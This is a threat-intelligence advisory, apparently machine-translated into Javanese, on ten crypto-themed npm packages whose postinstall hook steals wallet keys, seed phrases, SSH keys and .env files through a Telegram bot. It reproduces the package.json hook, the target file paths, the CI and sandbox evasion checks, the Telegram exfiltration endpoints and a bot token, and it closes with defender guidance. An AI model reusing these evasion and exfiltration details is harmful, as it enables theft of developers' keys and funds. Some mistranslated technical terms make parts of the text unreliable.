TL; DR
Ing tanggal 9 Juni 2026, ana siji akun penerbit npm, aicrypto-xzggg, dikirim sepuluh paket kanthi jeneng-jeneng sing nduweni rasa crypto lan Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, lan enem liyane.
Saben paket nglakokake muatan sing padha saka postinstall hook. Nalika diinstal, piranti kasebut mriksa apa wis mlaku ing njero CI utawa sandbox — yen ora, piranti kasebut maca keystore dompet, file frasa wiji, kunci SSH, lan .env file saka enem ekosistem blockchain lan ngirim menyang bot Telegram.
Indikator siji-sijine sing bisa digoleki dening pemain bertahan yaiku id bot Telegram. 8227918239.
Keruwetan: kritis — nyolong langsung kunci penandatanganan lan frasa pemulihan saka stasiun kerja pangembang.
Serangan: Cara Kerjane
Paket-paket kasebut ngiklanake awake dhewe minangka utilitas pangembang blockchain. paket.json minimal lan nuduhake siklus urip instalasi ing skrip:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } skrip/postinstall.js yaiku shim siji baris sing ngemot muatan nyata: mbutuhake(“../src/index.js”). Amarga sawise instalasi mlaku kanthi otomatis sajrone npm nginstal, ora perlu ngimpor kode dening pangembang — nyelehake paket ing wit dependensi wis cukup kanggo nglakokake.
Rantai pembunuhan ing njero src/index.js ana papat langkah:
- Pamriksaan lingkungan. Fungsi penjaga nemtokake apa host katon kaya agen build utawa sandbox analisis.
- Tundha. Eksekusi ditundha sawise nyetelWektu entek kira-kira 7.4 detik.
- Koleksi. Dhaptar tetep dompet, kunci, lan jalur file rahasia dilewati; file sing wis ana diantrekake.
- Eksfiltrasi. File sing wis diantrekake dikirim menyang bot Telegram, didahului karo pesen ringkesan.
Daftar target koleksi iki nyakup enem rantai ditambah rahasia pangembang umum. Dipotong:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Rong puluh siji jalur sakabèhé. Entri direktori kaya ta ~/.ethereum/toko kunci dikembangake lan saben file ing njero diantrekake. Eksfiltrasi nggunakake API Telegram Bot langsung — a ngirimPesen nelpon nganggo host lan ringkesan file, banjur kirimDokumen unggahan multipart kanggo saben file:
teks
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Pesen ringkesan sing dirakit kode diwiwiti nganggo string literal PENCURI CRYPTO, diterusake karo jeneng host, jeneng panganggo, jeneng paket asal, cacah file, lan cap wektu.
Apa sing anyar ing kene
Pambedane dudu mekanisme pencurian — exfil berbasis Telegram saka npm sawise instalasi hooks wis diidak-idak kanthi apik. Iku gerbang eksekusi. Sadurunge nindakake apa-apa, payload nyeluk fungsi sing ngasilake true nalika host meh padha karo CI runner utawa sandbox, lan ngasilake luwih awal nalika kaya ngono:
teks
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Regex container-id kuwi klausa sing penting: jeneng host 12-hex-karakter kuwi wujud standar sing diwenehake Docker menyang Sing, mula payload nganggep "jeneng hostku katon kaya wadhah Docker" minangka alesan kanggo tetep ora aktif. Digabungake karo wektu tundha pitung detik, desain kasebut luwih seneng mlaku ing workstation nyata pangembang lan tetep sepi ing ngendi wae sing katon kaya analisis otomatis. Gerbang kasebut sing nyuda sinyal analisis dinamis lan njaga aliran exfil statis minangka bukti keyakinan utama.
timeline
| Tanggal (UTC) | Event |
|---|---|
| 2026-06-09 ~02:48 | Paket pisanan ing kluster ditandhani nalika diterbitake (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Anggota versi sing luwih dhuwur ditandhani (ethereum-kit-9 jam 1.25.36, wallet-sdk-9 ing 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Anggota pungkasan ditandhani (defi-tools-39 jam 4.26.29, swap-sdk-87 jam 4.63.78, farming-tools-12 ing 4.68.54) |
| 2026-06-09 | Kabeh sepuluh diklasifikasikake mbebayani lan dilaporake kanggo dibusak registri |
Kabeh sepuluh muncul sajrone kira-kira pitung puluh menit, miturut siji penerbitan skrip saka siji akun.
Indikator Kompromi
Indikator jaringan lan prilaku (host sing wis ora ana gandheng cenenge):
| indikator | Value |
|---|---|
| Titik pungkasan Exfil | api[.]telegram[.]org (API Bot Telegram) |
| ID bot Telegram | 8227918239 |
| Token bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID obrolan Telegram | 6433587894 |
| Pasang pengait | postinstall → scripts/postinstall.js → src/index.js |
| Tali penanda | CRYPTO STEALER ing pesen ringkesan sing dirakit |
| Publisher | aicrypto-xzggg (email sing kasebut vipsyria88@gmail[.]com, durung diverifikasi) |
Paket lan versi, saben nganggo SHA-256 saka src/index.js payload (payload kasebut sacara fungsional identik lan mung beda ing label jeneng paket sing disematkan, mula saben hash beda):
| paket | versi | SHA-256 saka src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Pitakon nggoleki sing prasaja: goleki log instalasi lan file kunci kanggo salah siji saka sepuluh jeneng, lan goleki lalu lintas metu kanggo sambungan menyang Telegram Bot API saka host build utawa pangembang sing ora nggunakake.
Atribusi & Prilaku sing Diamati
Kabeh sepuluh paket diterbitake dening siji akun, aicrypto-xzggg, sing email-e kasebut kasebut vipsyria88@gmail[.]comEmail lan pranala kontrol sumber ora diverifikasi ing metadata registri, lan akun kasebut nduweni skor reputasi sing negatif banget. Kita durung ngonfirmasi sapa sing ngoperasikake akun kasebut.
Ana rong rincian sing kudu dipisahake saka klaim identitas apa wae. Kapisan, paket.json panganggité maca lapangan Alex Smith ing saben paket, dene akun penerbitan sing sejatine yaiku aicrypto-xzggg; kolom panganggit minangka metadata sing diumumake dhewe lan ora netepake kepengarangan. Kapindho, nomer versi beda-beda banget — sawetara anggota lungguh ing 1.0.0, liyane ing 4.68.54 — sing konsisten karo nggunakake maneh muatan tunggal ing jeneng paket sing nembe digawe tinimbang njaga riwayat rilis nyata.
Prilakune seragam ing saindenging kluster: dhaptar jalur target sing padha, id bot Telegram lan id obrolan sing padha, gerbang lingkungan sing padha, lan PENCURI CRYPTO panandha. Keseragaman kuwi minangka pranala paling kuat antarane paket-paket kasebut. Iku sinyal operator sing padha, dudu identitas.
Dampak, Tren & Pandhuan kanggo Para Pembela
Paparane wis konkret. Pengembang sing nginstal paket-paket iki ing workstation sing nyimpen dompet piranti lunak, file frasa wiji, utawa kunci SSH bakal maca lan ngirim file kasebut saka host sajrone sawetara detik. Frasa pemulihan lan kunci penandatanganan ora kadaluwarsa kaya token sesi; sapisan mnemonic.txt utawa Solana id.json ninggalake mesin, dana sing dikontrol ana ing bebaya nganti dipindhah. Proses sing padha uga nangkep .NS file, sing rutin nggawa kunci API lan kredensial basis data.
Ana rong tren sing ana ing mburi kluster iki. Sing pertama yaiku terus nggunakake jeneng-jeneng bertema crypto lan Web3 kanggo narik kawigaten pamirsa tartamtu — para pangembang sing nyimpen dompet lan kunci ing mesin sing padha sing digunakake kanggo nginstal dependensi. Sing nomer loro yaiku wis mateng penghindaran sandbox ing payload wektu instalasi. Gerbang sing mriksa variabel lingkungan CI, jeneng panganggo runner, lan bentuk jeneng host Docker container-id minangka upaya sing disengaja kanggo tumindak kanthi beda ing analisis tinimbang ing workstation nyata, lan iki nambah standar kanggo deteksi dinamis murni.
Kanggo para pembela:
Instal nganggo skrip sing dipateni kanthi gawan. npm nginstal –ignore-scripts, utawa nyetel skrip-ora-digatekake=bener in .npmrc, ngalangi sawise instalasi eksekusi; aktifake skrip mung kanggo dependensi tartamtu sing pancen mbutuhake.
Jaga dompet lan kunci penandatanganan ora dilebokake ing mesin build lan development. Gunakake dompet perangkat keras utawa host penandatanganan khusus sing bebas ketergantungan.
nambani .NS, keystores, lan file seed-phrase minangka permata mahkota. File-file kasebut ora kena dilebokake ing direktori sing uga minangka npm nginstal wit sing nyambut gawe.
Golekana sambungan metu menyang Telegram Bot API saka CI lan host pangembang. Umume lingkungan bangunan ora nate nyebutake; sing dumadakan muncul, sawise instalasi, kudu diselidiki.
Pin lan review dependensi. Paket anyar kanthi jeneng kripto umum, a sawise instalasi hook, lan ora ana pranala repositori sing perlu dideleng sadurunge mlebu file kunci.
Klausa evasion container-id uga minangka pangeling kanggo para analis: muatan wektu instalasi sing tetep ora aktif ing sandbox ora aman, nanging selektif. Tinjauan statis jalur instalasi tetep dadi cara sing bisa dipercaya kanggo ndeleng eksekusi dinamis apa sing bisa uga ora ditampilake.
Cathetan Suku
dokumentasi instalasi npm — skrip siklus urip lan –nglirwakake-skrip— referensi kanggo mateni instalasi otomatis hooks.





